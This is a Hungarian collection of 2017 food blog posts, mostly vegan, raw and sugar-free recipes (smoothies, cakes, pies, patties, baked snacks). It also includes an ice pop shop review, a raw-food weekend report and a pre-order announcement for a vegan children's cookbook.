Banános jeges kávé smoothie (laktózmentes, cukormentes, vegán) Mentés Nyomtatás Előkészítési idő 5 óra Főzési idő 5 perc Teljes idő 5 óra 5 perc Hűsítő jeges kávés turmix egészségesen felturbózva. Szerző: Zizi Recept típusa: ital, turmix, reggeli Konyha: vegán, gluténmentes Adag/mennyiség: 1 főre Hozzávalók 2 db érett banán 200 ml sűrű kókusztej 110 ml kávé (Nespresso Intenso on Ice kapszulából készítve) csipet fahéj kókuszchips, kakaóbabtöret (opcionális) a tálaláshoz Elkészítés A banánokat hámozzuk meg, törjük két-három darabba és egy tasakban/dobozban tegyük a fagyasztóba 5-6 órára (vagy egy éjszakára), amíg teljesen megfagynak. Tegyük a kókuszchipset száraz serpenyőbe, és pirítsuk meg 4-5 perc alatt. Egy pohárba tegyünk 3 nagy méretű jégkockát, és főzzük rá a kávét, hogy lehűljön. Tegyük a fagyasztott banánokat, kókusztejet, fahéjat és hűtött kávét turmixgépbe, és turmixoljuk krémesre. Tálaljuk pirított kókuszchipsszel megszórva. Jegyzetek Kb. 300 ml mennyiségű ital készül az alapanyagokból. 3.5.3226
Reform kakaós keksz
Inzulinrezisztens, vegán, cukormentes Hozzávalók: 20 dkg teljes kiőrlésű búzaliszt 10 dkg zabpehelyliszt 4 dkg Diawellness 1:4 cukorhelyettesítő 2 ek cukormentes kakaópor 7 dkg kókuszzsír 1 dl kókusztejszín egy csipet só A hozzávalókat egy tálban elkeverjük, majd annyi vizet öntünk hozzá, hogy a...
Zabkása reggelire
2017. június 14. Gitta nyersétel blogja
A zabot természetesen nem főzzük meg, de hogy felpuhuljon, hogy az enzimek feléledjenek benne jól beáztatjuk. És hogy legyen elég ideje ázni, már előző este szép gondosan elvégezzük ezt a műveletet. Lehet rögtön abba a tányérba tenni, amiben el fogjuk másnap fogyasztani, vagy ha magunkkal visszük munkába, akkor akár egy befőttes üvegbe is. Lehet a zabpehely mellé még más magokat is tenni, pl. mandulát, diót, chia magot, kókuszchipszet, kinek mi van otthon, és lehet aszalt gyümölcsöket is, datolyát, aszalt szilvát, goji bogyót. Lehet édesíteni szirupokkal, mézzel, datolya sziruppal, stb... Ez itt most egy lehetséges összeállítás, de bátran lehet variálni. Hozzávalók: 4-5 evőkanál zabpehely 3 evőkanál goji bogyó 1/2 banán karikára vágva 4 evőkanál chia mag egy marék kesudió egy marék aszalt meggy kb 2 dl mandulatej (vagy más növényi tej, lehetőleg frissen készített pl itt találod hogyan készíts mandulatejet) vagy amennyi belefér az üvegbe A magokat, gyümölcsöket beletöltjük az üvegbe (én itt egy kisebb, kb 3 dl-es üveget használtam), ráöntjük a növényi tejet, és éjszakára hűtőszekrénybe tesszük. A magok és aszalt gyümölcsök felpuhulnak reggelre és kitűnő reggelit kapunk. itt már ráöntöttem a mandulatejetReggelre megdagadt a chia mag, és a zab és a goji is megpuhult. Fogyasztás előtt legalább 1 órával érdemes kivenni a hidegről, ne együnk reggelire hűtőhideget :) Lehet enni az üvegből, én tányérba öntöttem, és öntöttem még rá mandulatejet, hogy még lédúsabb legyen. Vigyázat, nagyon laktató: a tányérban össze lehet keverni az összetevőket
Nyersétel hétvége 2017.06.02 - beszámoló
2017. június 10. Gitta nyersétel blogja
Egy gyönyörű napsütéses nyári hétvégét töltöttünk együtt :) egy remek csapattal. Fényképes beszámolónk: A pénteki vacsora kesusajtgolyó rizottóval és salátával és az epres krémtorta. Habkönnyű... a nyers tortáknál megszokott nehéz zsírosság most elmaradt. Így folyik a munka: lehet nézni, hogyan készülnek az ételek, és be is lehet kapcsolódni A reggeli zöld turmix sűrűn, finoman, hab nélkül OZEN vákumos turmixgéppel Ebédre spenótos zöldségtekercs volt salátával, Judit gyúrja a tésztáját És hogy ne maradjunk édesség nélkül, a desszert tiramisu torta Készül a vacsora: Judit, a székelykáposzta, a Thermomix és én :) Ez egy tortás hétvége volt, ribizlis kesukrémtorta sok sok gyümölccsel felvágva Vasárnap reggelire bőségesen volt nyers kenyér, ízesített kókuszzsír (pecsenyezsír) és rengeteg zöldség Vasárnap ebédre szép színes cukkini spagettit ettünk :) spenótosan, paprikásan és a brownie sem maradt el, ezúttal meggyes öntettel Hangulati elem: Laci hozott otthonról gyönyörű pünkösdi rózsát Dália végig figyelt a kis táskájából Kata Mindenkinek rajzolt valami szépet a kulacsára :) Laci :) Ha szeretnél jönni legközelebb TE is, akkor érdeklődj nálam itt: lenartgitta101@gmail.com
Meggyes pite
Azok a hagyományos piték...almás, meggyes, túrós... az összes jöhet :D Mindenki imádja, nem igaz? Ezt még jobban fogod imádni! Megse mondanád, hogy nincs benne cukor vagy fehérliszt. Nem lehet megkülönböztetni az ízét a hagyományostól. hozzávalók - 150gr kókuszliszt - 150gr zabliszt - 250gr túró - 1 banán - 50gr édesítő + Ízlés szerint a töltelékbe - 450gr meggy (magozott) - fahéj - édesítő - 1ek tápióka keményítő Így készítsd - A tésztához keverd össze a liszteket, édesítőt, banánt és túrót - Hagyd állni, míg elkészíted a tölteléket - Főzd össze a meggyet a fahéjjal, édesítővel és tápióka keményítővel - Főzd, míg puding állaga nem lesz - Nyújtsd ki a tészta egyik felét, majd töltsd meg a töltelékkel és tedd rá a másik felét - Süsd ki 180fokon 50perc alatt
Mangó lassi
2017. május 28. Gitta nyersétel blogja
Mangó lassi citromfűvel A mangó lassi egy indiai frissítő joghurtos ital. Az eredeti recept szerint a mangó lassi egyszerre sós és édes, ugyanakkor savanykás, így nagy melegben tudja pótolni az ásványi anyagokat. Szerencsére hozzá lehet már jutni érett mangóhoz, így ki lehet próbálni, szerintem érdemes. Inkább étel, mint ital, jó sűrű, tápláló. Ha inni szeretnéd, több mandulatejjel készítsd. Hozzávalók 1 adaghoz: 3 dl kókuszjoghurt 2 dl mandulatej, kókusztej, vagy a kettő keveréke 1 érett mangó 1/2 kávéskanál só édesítőszer ízlés szerint Elkészítés: az érett mangót meghámozzuk, húsát levágjuk a magjáról, és a többi hozzávalóval együtt turmixgépbe tesszük, simára turmixoljuk. Kóstoljuk, ha szükséges tegyünk hozzá édesítőszert, növényi szirupot (pl. datolya szirupot) Ha nincs kókuszjoghurtod, akkor is el tudod készíteni ezt az italt, használj több mandulatejet, és tedd hozzá egy fél citrom kifacsart levét! mangó lassi
Csicserifasírt
Újabb finom ételt osztott meg velem Anikó, a Zöldház Bio Panzió tulajdonosa. Elkészítettem, és bizony én is csak azt tudom erről mondani, hogy érdemes kipróbálni. Hozzávalók: - 30 dkg száraz csicseriborsó - 30 dkg száraz kenyér vagy zsemle báztatva (vízben) / 10 dkg leforrázott zabpehellyel is elkészítheted - 1 evőkanál kókuszolaj - 1 nagy vöröshagyma - 2-3 gerezd fokhagyma - 1 marék aprított petrezselyemzöld - só, bors, pirospaprika - 1-2 csipet őrölt szerecsendió - 1 evőkanál paprikapüré - 2 házi vagy bio tojás Elkészítése: - A csicseriborsót áztasd be 6-8 órára, majd az áztató levét öntsd le, és főzd puhára. Ez körülbelül 1-1,5 óra. - Az olajon az apróra vágott vöröshagymát dinszteld meg. Fűszerezd. - A megfőtt csicseriborsót daráld le, vagy turmixold/botmixerezd. - Keverj össze minden hozzávalót, ha lágy lett a massza, akkor tegyél bele egy kis zsemlemorzsát. - Kis gombócokat forgass meg zsemlemorzsába, majd jól kikent tepsibe rakd úgy, hogy a tetejét is spricceld vagy kend be olajjal. - Előmelegített sütőben süsd meg mindkét oldalát.
Epres sajttorta
2017. május 26. Gitta nyersétel blogja
A tavaszi, nyári ünnepek legszebb, és mondhatom azt is, hogy a legfinomabb étele ez az epres sajttorta. Készítése közben türelem, alázat, finom mozdulatok szükségesek, itt nem szabad semmit elsietni. Az eredmény pedig lélegzetelállító. Hozzávalók egy 18 cm-es tortaformához: (a rétegek 25dkg, 50 dkg, 25 dkg, vagyis összesen ez a torta kb. 1 kg-os lesz díszítés nélkül) az alaphoz: 15 dkg beáztatott datolya 10 dkg kókuszreszelék 1 evőkanál őrölt arany lenmag csipet só a töltelékhez: 25 dkg kesudió 2 citrom leve és reszelt héja (bio citrom legyen) 2 evőkanál agavé szirup 15 dkg kókuszolaj 2-3 evőkanál tisztított víz az epres réteghez: 20 dkg eper 1 evőkanál agavé szirup 2 evőkanál útifűmaghéj a díszítéshez: eper Elkészítése: Az alaphoz először a datolyát és a fűszereket tegyük aprítógépbe, majd a lenmagot és annyi kókuszreszeléket, hogy egy nem túl lágy, formázható masszát kapjunk. Ha már kész datolyapépet használsz, akkor gép sem kell, hanem egy tálban ki tudod keverni a kókuszreszelékkel és a fűszerekkel. Inkább morzsás, mint pépes legyen. A tortaformát kibéleljük sütőpapírral, és a masszát egyenletesen lenyomkodjuk az aljára. A töltelékhez megolvasztjuk a kókuszolajat, és a citromlével, agavé sziruppal együtt turmixgépbe tesszük. Most jöhet a kesudió és épp csak annyi víz, hogy a turmixgép tudjon vele dolgozni. Ha túl sok vizet teszünk bele, a massza a tortában nem fog megszilárdulni, szobahőmérsékleten folyós lesz. Hozzáadjuk a reszelt citromhéjat is, és teljesen simára, homogénre turmixoljuk. Ráöntjük a tortaformában az alapra. A tetejét szépen simítsuk el, hogy teljesen egyenes legyen. Tegyük hidegre, hogy meg tudjon szilárdulni. (Fagyasztóba is mehet, amíg a felső réteget elkészítjük.) A következő réteghez az epret törjük össze villával, vagy aprítógépben a pulse funkcióval, hogy maradjanak benne még darabos részek. Tegyük egy szűrőbe, és a lecsöpögő eperlét fogjuk fel, kis poharakban ki lehet tálalni. A szűrőben maradt epermasszát édesítsük, majd tegyük hozzá az útifűmaghéjat (ez fogja kicsit megszilárdítani, zselésíteni a gyümölcspépet). Várni kell egy kicsit, amíg a kis maghéjak beszívják magukba a nedvességet, nem szabad türelmetlennek lenni. Ha túladagoljuk, akkor jó kemény lesz, szép és vágható, ugyanakkor a vizen kívül az útifűmaghéj az ízeket is magába szívja, és sajnos íztelen lesz a torta teteje. Szóval érdemes vigyázni. Vegyük elő a tortát a fagyasztóból, és az epres masszát simítsuk rá a tetejére. Arra vigyázzunk, hogy csak akkor tegyük rá a tortára, ha a töltelék már teljesen megszilárdult, különben bele fog folyni. Érdemes kivárni. Visszatesszük a hűtőszekrénybe teljes dermedésig. Tálalás előtt lapokra vágott eperszeletekkel díszítjük. A receptet megtalálod az Élő ételek ünnepnapokra című könyvemben, amit megrendelhetsz tőlem: lenartgitta101@gmail.com vagy a kiadótól, jobbra fent a borítóra kattintva.
Vegán túrótorta
Ó, vegán túrótorta, légy az enyém! Bárhol, bármikor, akármikor, de ha lehet, most azonnal, és legalább két szelettel. :) Ehhez a recepthez egyszerű natúr tofut használtam. Ha kíváncsi vagy, hogyan lehet olyan univerzális vegán túrót készíteni, olyat, ami szuperul működik palacsintatöltelékként, pohárkrémként vagy sütiben, akkor gyere el a Növényi tej- és tejtermékkészítő tanfolyamra. Meg fogsz lepődni! :) Hozzávalók egy 20 cm átmérőjű csatos formához: A tészta - 60 g (bio) margarin - 30 g cukor - 125 g liszt - csipet só A sült túrókrém - 300 g natúr tofu - 125 g nádcukor - 50 g kókuszolaj - 1 citrom héja és leve - 1 csomag vaníliás cukor - 2 evőkanál kukoricaliszt (40 g) - 3 evőkanál étkezési keményítő - csipet só - 75 g mazsola - Egy tálban gyúrjuk meg a torta alját. Ehhez először keverjük össze a lisztet, a cukrot és a sót, majd morzsoljuk el benne a kockára vágott margarint. Dolgozzunk gyorsan, ne melegítse fel a kezünk nagyon a tésztát. Ha szépen összeállt labdává, nyomogassuk le a tortaforma aljára. - A túrókrém hozzávalóit tegyük egy késes aprítóba, és kb. 1,5 dl víz hozzáadásával daráljuk krémesre. Aztán kézzel keverjük bele a vízben megáztatott mazsolát. - Öntsük a krémet a formába, és tegyük 190 fokos sütőbe. Akkor van kész, ha a teteje közepe is átsült, azaz szilárd. Jó étvágyat! Elkészítési idő: 50 perc Ez egy vegán recept volt. :) Hasonló recepteket ITT találsz még. Ha itt feliratkozol, a legújabbakat mindig frissen kapod majd a postaládádba. :) Nézd meg a legújabb Kertkonyha főzőtanfolyamokat: Kezdő Vegán Növényi Tejek és Tejtermékek I Növényi Tejtermékek II A Mindennapi Superfood Kezdő Vegán Angol nyelven
Kókuszos grízpuding vaníliával
2017. május 14. Élj harmóniában
A férjem nagyon szereti a tejbegrízt, ezt onnan tudom, hogy nagy mennyiségben és rendszeresen fogyasztja.:) Ma amikor megkérdeztem mit szeretne vacsorára enni, mondta, hogy tejbegrízt. Gondoltam szuper... vasárnap este, honnan veszek nem homogenizált, nem ultra pasztörizált, bio tejet... majd formálódni kezdett bennem egy új recept. Itthon van bio kókusztej konzerves változatban, gondoltam miért ne lehetne kókusztejjel tejbegrízt készíteni. Van kókuszcukor is, így stílusosan édesítésre ezt használtam. Kókuszos grízpuding vaníliával Hozzávalók 2 személyre 1 doboz (400ml) kókusztej 6 ek. búzadara (gluténmentes változatban hajdinagríz) 1 ek, kókuszcukor csipet vanília Vegyszermentes (bio) alapanyagokat használj! A kókusztejet tedd egy edénybe a tűzre, tedd bele a kókuszcukrot és a vaníliát, majd forrald fel. Amikor felforrt tedd hozzá apránként a grízt és keverd csomómentesre. 5 percig keverd folyamatosan, addigra a gríz megfő. Ha a folyósabb állagot kedveled akkor elég 5 ek gríz, ha azt szereted, hogy sűrűbben szereted, akár 7 ek. grízt is tehetsz bele. A tetejét kókuszreszelékkel díszítheted.
banános kókuszkorong
A napközben megéheznél, vagy szívesen rágcsálnál valamit, akkor van egy jó tippem. Ez a finomságokkal teli édesség, ami feldobja a monoton hétköznapokat. Hozzávalók - 2banán - 1 avokádó - 35gr kesudió - 100gr kókuszliszt - 50gr zabpehely - 20gr édesítő - 150gr joghurt Így készítsd - A banánt, avokádót és joghurtot turmixold össze - Keverd össze a száraz alapanyagokat, majd öntsd hozzá a gyümölcsturmixot - Formázz korongokat, majd helyezd sütőpapírra - Süsd 180fokon 25-30percig
Teszt: Anjuna Ice Pops (laktózmentes, gluténmentes, vegán jégkrémező)
2017. május 11. Zizi kalandjai
Noha az időjárás lassan hozza a nyarat az Anjuna Ice Pops tulajdonosai merészen április közepére tették a terasz megnyitójukat. Emlékszem, hogy már tavaly is belefutottam a nevükbe, de csak idén jutottam el hozzájuk… és amit náluk ízleltem, tapasztaltam… na, hát az valami mennyei!
Az alapítók, tulajdonosok, két fiatal srác: Szalay József és Szabó Milán, egy közös indiai utazásukon döntötték el, hogy valami különlegesbe vágják a fejszéjüket. Maga a név is Indiából származik, az Anjuna egy tengerpartszakasz (örök fiatalság eszméjét sugározza) neve Goában.
Pálcikás jégkrémjeik valódi gyümölcsökből készülnek, természetes alapanyagokból, mesterséges színezékeket és adalékanyagokat mellőzve. Vannak állandó ízeik és szezonálisan változóak is. Minden termékük vegán (laktóz- és tojásmentes), illetve gluténmentes, néhányat készítenek nádcukor nélkül is.
Lelkes kézmodell, csak minél többfélét kóstolhasson
Két üzletük van jelenleg Budapesten, egy nagyon picike az 5. kerületben, a Sas utcában (közel a Bazilikához), a kicsit nagyobb pedig a 2. kerületben, a Lövőház utcában (Millenáris Park mellett). Ezenkívül van egy üzemük a 4. kerületben, ott készítik a jégkrémeket és onnan szállítják az üzletekbe. A jégkrémekhez jó minőségű kókusztejet, kókuszjoghurtot, rizstejszínt, friss gyümölcsöket használnak, a csokoládé Valrhona, a törökmogyoró piemonti (Piedmontból), a pisztácia pedig brontei (Szicíliából).
Élelmiszeripari mérnökkel dolgoznak együtt, vele tesztelik és alkotják meg az új ízeket, mint például a Valrhona különleges, maracujával fermentált csokijából készült ízt vagy az avokádó-lime-tárkony hármasából kókusztejjel kikevert ízt. Nagyon sokfélét kóstoltunk a terasznyitón, meg azóta is jártunk náluk és tényleg állítom, hogy életem legfinomabb, legjobb állagú jégkrémjeit náluk ettem. Lehetetlenség választani az ízek közül, de ami iszonyatosan “over-the-top” és feltétlen meg kell kóstolni az a kókusz, a pisztácia, a mogyoró, a mangó-maracuja és a szeder. De persze a többit se hagyjátok ki, ha náluk jártok!
A fiúk dolgoznak a csomagolás még környezetbarátabbá tételén. A jégkrémeken kívül kapható náluk sűrű, gyümölcsös acai smoothie bowl, chia puding, nyers sütemény és kávé. A jégkrémek kaphatók kisebb méretben (nem mindegyik íz) és nagyobb méretben, az árak 490 Ft-tól 790 Ft-ig terjednek.
***
Anjuna Ice Pops jégkrémező
1024 Budapest, Lövőház utca 24.
1051 Budapest, Sas utca 7.
Facebook
Instagram
A negyedik születésnapi torta (nyers, laktózmentes, gluténmentes, vegán)
2017. május 10. Zizi kalandjai
El sem hiszem, hogy a nagyobbik kisfiam, Ádi már négy éves lett! Tisztán emlékszem a születésének minden pillanatára, az első fogának kibújására, az első önálló lépéseire, amikor tíz hónapos kora körül elkezdődött az übercukiság időszaka, ami azóta is tart, csak most már kiegészül gondolkodással, értelemmel. Két gyerek anyukájaként látom most már, hogy minden gyerek más és más, nagyon különbözőek a testvérek is. Ádi is teljesen más gyerek, mint Ákos. Persze huncutságban, zsiványságban nincs akadály egyikőjüknél sem! Nagyon nehéz két zsivánnyal a mindennapokat “túlélni”, de ilyenkor Éva barátnőm szavai csengenek a fülemben: “Ezeket az éveket senki nem adja vissza nekünk! Töltsünk velük olyan sok időt, amennyit csak tudunk!”
Ádi már magyarázó kiskrapek hihetetlenül jó humorral. Folyamatosan kérdez, nem győzünk a kérdéseire válaszolni és persze olyan kérdésekkel is bombáz, amire nem tudjuk a választ (gyorsan utánanézünk a neten, hogy képbe kerüljünk az adott témával kapcsolatban )! Nehéz vele lépést tartani, de igyekszünk. Imád kuktáskodni a konyhában, ezért is kapott egy ilyen szettet a ajándékba.
A szülinapját megint csak a biopiacon ünnepeltük szűk családi és baráti körben, ahogyan tavaly is. Annyira szuper a helyszín, minden adott a piknikezéshez, rohangáláshoz, játszóterezéshez és finom ételekhez. Hasonló dolgokat készítettem, mint tavaly, olyanokat, amelyeket könnyű enni két rohangálás között gyerekeknek és felnőtteknek is.
A tortát együtt választottuk ki Ádival. Az alaprecept a The Happy Pears srácoktól származik, kicsit módosítottam rajta. Az alapja magos-datolyás-vaníliás, középen van egy isteni karamell réteg, a tetején pedig egy egyszerű kókuszkrém. Igen, krém, bár többen az Instagram fotó alapján kókusztejszínhabnak gondoltátok. Nagyon-nagyon tömény torta, elég belőle egy vékony szelet. Nagy kapcsos formában készült, így bőven jutott mindenkinek.
Nyers vegán karamell-kókuszkrém torta Mentés Nyomtatás Előkészítési idő 15 perc Főzési idő 1 óra Teljes idő 1 óra 15 perc Könnyen elkészíthető nyers vegán karamell-kókuszkrém torta. Tömény, de nagyon finom! Szerző: Zizi Recept típusa: sütemény, torta, nyers Konyha: vegán, gluténmentes Adag/mennyiség: 8-10 főre Hozzávalók Torta alaphoz: 100 g dió 100 g kesudió 105 g friss datolya, kimagozva 2 evőkanál extra szűz kókuszzsír 1 evőkanál kókuszreszelék ¼ teáskanál őrölt vanília Karamell krémhez: 375 g friss datolya, kimagozva 180 g mandulavaj 9 evőkanál víz 4 evőkanál extra szűz kókuszzsír ½ teáskanál őrölt vanília késhegynyi só Kókusz krémhez: 2 konzerv kókusztej (jó minőségű, 60% kókusz tartalmú), használat előtt hűtőbe téve 2-4 órára 2 evőkanál agavészirup ¼ teáskanál őrölt vanília Tálaláshoz: friss eper Elkészítés Tegyük a diót és a kesudiót a robotgépbe és aprítsuk szemcsésre. Ekkor adjuk hozzá a datolyát, a szobahőmérsékletű kókuszzsírt, kókuszreszeléket, és vaníliát. Dolgoztassuk a gépet addig, amíg a torta alapunk összeáll tésztává. A tortaformát béleljük ki folpackkal vagy kenjük ki kókuszolajjal és nyomkodjuk az aljába a datolyás diós-kesudiós keveréket, majd tegyük a hűtőbe megkeményedni, amíg elkészítjük a többi réteget. Mossuk el a robotgép tartályát. Tegyük a mandulavajat, a datolyát, a szobahőmérsékletű kókuszzsírt, a vaníliát és a sót a robotgépbe. Kezdjük el dolgoztatni a gépet és lassan adagoljuk hozzá a vizet. Akkor van kész, ha karamell ízű és nyúlós az állaga, mint a karamellnek. Kenjük ezt a krémet (kicsit nehézkes a nyúlós állaga miatt) a datolyás diós-kesudiós alapra és tegyük vissza a hűtőbe. Vegyük ki a kókusztejet a hűtőből és bontsuk ki. A hideg hatására kettévált a sűrű krémes rész a vizestől. Kanalazzuk ki a krémet mindkét konzervből egy tálkába. A vizes részt tegyük hűtőbe és használjuk fel turmixok készítéséhez. Adjuk a krémhez az agavészirupot és a vaníliát, majd jól keverjük el és kanalazzuk a torta tetejére. Tálalásig tartsuk hűtőben (legalább 2 órát)! Tálaljuk friss eperrel! Jegyzetek 23 cm-es kapcsos tortaformában készült. Feltétlen jó minőségű minél magasabb zsírtartalmú konzerv kókusztejet használjunk ehhez a recepthez. Aszalt datolya is jó a tortához (ha nem kapunk frisset), csak érdemes használat előtt egy fél órára langyos vízbe beáztatni, hogy könnyebben aprítsa a robotgép) Édesítésre agavészirupot használtam, hogy megmaradjon a krém fehér színe, de természetesen használhatunk juharszirupot, vagy datolyaszirupot is. Ebben az esetben a krém drapp, világosbarna színű lesz. 3.5.3226
Csupa csokis trüffel
Amikor többre vágyunk egy jó minőségű csokinál, akkor turbózzuk fel egy-két finomsággal. 1-2 trüffelnél többet lehetetlenség megenni, mert tömény csokis íz, akár egy lágy brownie. Hozzávalók: - 1 tábla jó minőségű (ét)csoki - 5 dkg apróra tört (vagy durvára darált kesudió) - 5 dkg finomszemcsés kókuszreszelék - 1 dl kókuszkrém - 1 evőkanál méz vagy juharszirup - késhegynyi vaníliapor - 4-5 csepp narancsolaj Elkészítése: - A csokit törd fel kis kockákra, és vízgőz felett olvaszd fel. - Folyamatos kevergetés mellett öntsd bele a kókuszkrémet, majd a kesudiót és a kókuszreszeléket. - Ízesítsd a fűszerekkel. - Hagyd kihűlni és tedd be a hűtőbe néhány órára. - Kanál segítségével gombócozd és forgasd meg kókuszreszelékbe.
Répás Tökmaglisztes bagett
Ha egy tökéletes szendvicsalapot, finom vacsorát vagy egészséges kenyérpotlót keresel, akkor a legjobb helyen jársz. A legújabb alkotásomra annyira büszke vagyok, hogy muszáj megosztanom veletek. Kár lenne kihagynotok ezt az élményt :) Hozzávalók - 300gr répa - 150gr tökmagliszt - 250gr zabpehely - 300gr túró - 2 tojás - 30gr kókuszolaj - só Így készítsd - Reszeld le a megtisztított répát, majd add hozzá a nedves hozzávalókat - Egy külön tálba keverd össze a száraz összetevőket - A két keveréket öntsd össze és alaposan keverd össze - Nedves kézzel formázz tetszőleges formákat a tésztából - Tedd sütőpapírral bélelt tepsire - Előmelegített sütőben süsd 190fokon 45percig
Brokkolis sajtos rúd
Sokat gondolkodtam mi legyen a következő zölség, amivel új receptet alkotok és hát választásom a brokkolira esett, mert nagyon megkívántam, ráadásul nagyon sok pozitív hatása van szervezetünkre. A testépítők és a fogynivágyók számára is javasolt rendszeres fogyasztása, hisz kalóriatartalma igen csekély, még magas a fehérjetartalma. Ezenfelül számtalan vitamint tartalmaz, ami sajnos sütéskor csökken, de még így is igen sok jótékony hatását megtartja. Hozzávalók - 400gr brokkoli - 250gr zabliszt - 100gr szezámmagliszt - fél zacskó sütőpr - só - 30gr kókuszolaj - 200gr tejföl - reszelt sajt ízlés szerint Így készítsd - A brokkolit szedd rózsáira, majd pépesítsd - Add hozzá a kókuszolajat és a tejfölt - Keverd össze a száraz hozzávalókat egy másik tálba - A brokkolit öntsd a száraz keverékhez, majd alaposan gyúrd össe - A masszát tedd sütőpapírral bélelt tepsibe, majd reszelj rá sajtot - Süsd előmelegített sütőnem 180 fokon 40percig
kókuszos keksz
2017. április 20. Beautilicious
A nap folyamán bármikor előkapható egészséges finomság mindenkinek elkell a táskájában. Ez a kókuszos keksz e célra tökéletesen megfelel. Hozzávalók - 1 cukkini - 1 banán - 80gr kókuszliszt - 50gr zabliszt - 30gr kókuszreszelék - rumaroma Így készítsd - A megtisztított cukkinit és banánt aprítógépben pépesítsd - Önts hozzá egy kis rumaromát - Keverd össze a száraz hozzávalókat, majd add a péphez - Formázz kis korongokat, helyezd őket sütőpapírra - Süsd előmelegített sütőben 180fokon 30percig
Mit eszik a vegagyerek? szakácskönyv! :)
2017. április 20. Zizi kalandjai
Téli álmából felébredni látszik a blogomon, vagy inkább téli álomba szenderül, ahogyan a mai időjárás viselkedett… egy fantasztikus hírt oszthatok meg veletek. A válasz arra, hogy miért aludt a blog egy ideig, az az, hogy írtam/írok egy újabb szakácskönyvet, amelyet már néhányan nagyon vártatok! Amikor a Vegán Reggeli megjelent többen jeleztétek, hogy nagyon örültök neki, megvettétek, csodaszép, de mikor írok már vegagyerekes szakácskönyvet. A válaszom erre, hogy MOST!
A Vegán Reggeli után jött egy kis “lazítás”, majd belevetettem magam újra a recept tesztelésekbe. Főztem, ettünk, főztem, ettünk… tesztelték az ételeket az 1 éves és 3.5 éves családtagok, vagyis a vega gyerekek is. Azt hiszem mindegyik recept átment a teszten: “Anya, ezt berakhatod a könyvbe!” – jött a válasz.
A Mit eszik a vega gyerek? a mindennapok gyakorlatából összegyűjtött több mint 60 bevált recept (egy részük már megjelent a blogon, de a receptek többsége teljesen új) ennek megfelelően kizárólag természetes növényi alapanyagok (zöldségek, gyümölcsök, gabonák és magvak) felhasználásával készül (vagyis nem tartalmaz semmilyen állati eredetű élelmiszert: tejterméket, tojást, mézet, halat és húst), így mind a vegetáriánus, mind a vegán étrend iránt elkötelezettek, mind pedig a növényi alapú ételek iránt csak érdeklődők számára is remek útmutatásként szolgál. Ezenkívül a könyvben szereplő több recept hasznos forrása a gluténmentes és a cukormentes táplálkozást követőknek, a feltüntetett allergének pedig segítenek azoknak, akiknek valamilyen táplálékallergiára is ügyelniük kell.
Ez nem egy hozzátáplálási kézikönyv! A könyvben szereplő receptek 1 éves kortól 101 éves korig (vagy azon túl ) fogyaszthatóak, tehát egy teljes család számára biztosít könnyebb, egyszerűbb, gyorsabb és ráérősen készítős recepteket is, amelyek dietetikus által lettek ellenőrizve! A könyv öt fejezetre van bontva: reggeli, ebéd, vacsora, parti/desszert és alapreceptek. Az egyes fejezetekben lévő receptek jól kombinálhatók egymással. A reggelik édes ízvilágúak (turmixok, juice-ok, palacsinták, kásák), de ha valami sósra vágyunk, akkor a vacsora fejezet egyik kencéjét elkészítve máris van sós reggelink (meg inspirálódhatunk a Vegán Reggeli könyvből is). Az ebéd fejezet főtt ételek teljes sorát gyűjti csokorba. Nagyon sok a zöldséges gabonafasírt, a ragu, de van főzelék is. A vacsora részben is vannak meleg ételek, gyorsan elkészíthető levesek, tészták, de zöldség-hüvelyes kencék, valamint egy alap saláta is feltűnik. A parti/desszert rész többnyire édes dolgokat takar, de van benne egy-két sós finomság is – csakis olyanok, amelyek egy gyerekzsúron is megállják a helyüket és élvezettel fogják fogyasztani a gyerekek és a szüleik is. Az alapreceptek fejezet pedig olyan receptekből áll, amelyek alapok lehetnek a konyhánkban és többféle étel elkészítéséhez fel tudjuk őket használni, ilyen például a házi vegán parmezán, a kesudióvaj, a villámgyorsan elkészíthető ketchup, a szezámmagos (hamburger) zsemle vagy a kókuszjoghurt.
Nagyon izgulok, mert a fotókat most én készítettem… remélem tetszeni fog nektek!
Ezenkívül található a könyvben egy használati útmutató: bevásárláshoz, főzéshez, sütéshez ad tippeket, ötleteket. Írok a az egészséges táplálkozásról, hogy nekünk mi vált be, hogyan tudjuk rávenni a gyerekeket a spenót, a saláta vagy akár egy quinoa tabulé megevésére. A legbüszkébb pedig arra vagyok, hogy a Pécsi Tudományegyetem Egészségtudományi Kar Dietetikai és Táplálkozástudományi Intézete vállalta, hogy szakvéleményt (tudományos tényekkel alátámasztott bevezetőt) ír a könyvemhez! Hálás köszönetem Erdélyi Attila III. éves dietetikus hallgatónak, Szabó Zoltán szakoktatónak és Prof. Dr. Figler Mária egyetemi tanárnak, hogy vállalták ezt a nemes feladatot és alátámasztják a vegán táplálkozás fontosságát.
A Mit eszik a vega gyerek? egy vegán szakácskönyv, amely bemutatja, hogy a növényi étrenden belül is létezik a gyermekek kitűnő egészségéhez vezető, teljes értékű vegyes táplálkozás.
Külön köszönet a Boook Kiadónak, hogy láttak, látnak fantáziát a témában, a kiadó vezetőjének Széplaki Péternek, Földi Hajnal művészeti vezetőnek, B. Tier Noémi szerkesztőnek, Lukács Eszter dietetikusnak. Ezer hála a kiadó többi kollégájának: Adrinak, Kingának, Matyinak, Csillagnak, Enikőnek, Bereznay Tamásnak, Tóth Milánnak és Erdőháti Áronnak a sok segítségért.
A könyv nem jöhetett volna létre a családom (szüleim, öcsém), Iván és természetesen a vega gyerekek (Ádám és Ákos) támogatása nélkül!
A Biorganik egy fantasztikus cég, akik elláttak alapanyagokkal és támogatják a könyv létrejöttét. A Monkie (SkipHop Magyarország) nagyon sok eszközt biztosított a fotózáshoz, a Planetbio az utolsó pillanatban a segítségünkre érkezett egy nagy tasak kakaóbabtörettel és persze ott vannak a konyha angyalai: Gacsó Anikó (Bébispenót), Szabó Jucus (5hozzávaló) és Kósa Gabi (Rakottkert), akik káprázatosan főztek, sütöttek és a kezem alá dolgoztak a könyv fotózásakor. Nélkületek nagyon nehéz lett volna, csajok!
Hashtag, amit a könyvvel kapcsolatban használhattok a social media felületeken: #miteszikavegagyerekszakacskonyv.
Speciális előrendelési akció keretében 2017. április 30-ig csak most csak nektek a könyv a weboldalamon 25%-os kedvezménnyel, 3367 Ft-os áron megrendelhető az alábbi linken! A könyv várható érkezése: 2017. május vége!
A sikeres megrendelésről pár percen belül emailben értesítek mindenkit, amelyben minden információ szerepelni fog a fizetés, a személyes átvétel és a szállítás módjáról. 2017. május 1-től pedig 20%-os kedvezménnyel (3592 Ft) lehet majd a könyvet előrendelni az adott linken!
25%-OS KEDVEZMÉNNYEL 4490 FT HELYETT 3367 FT!
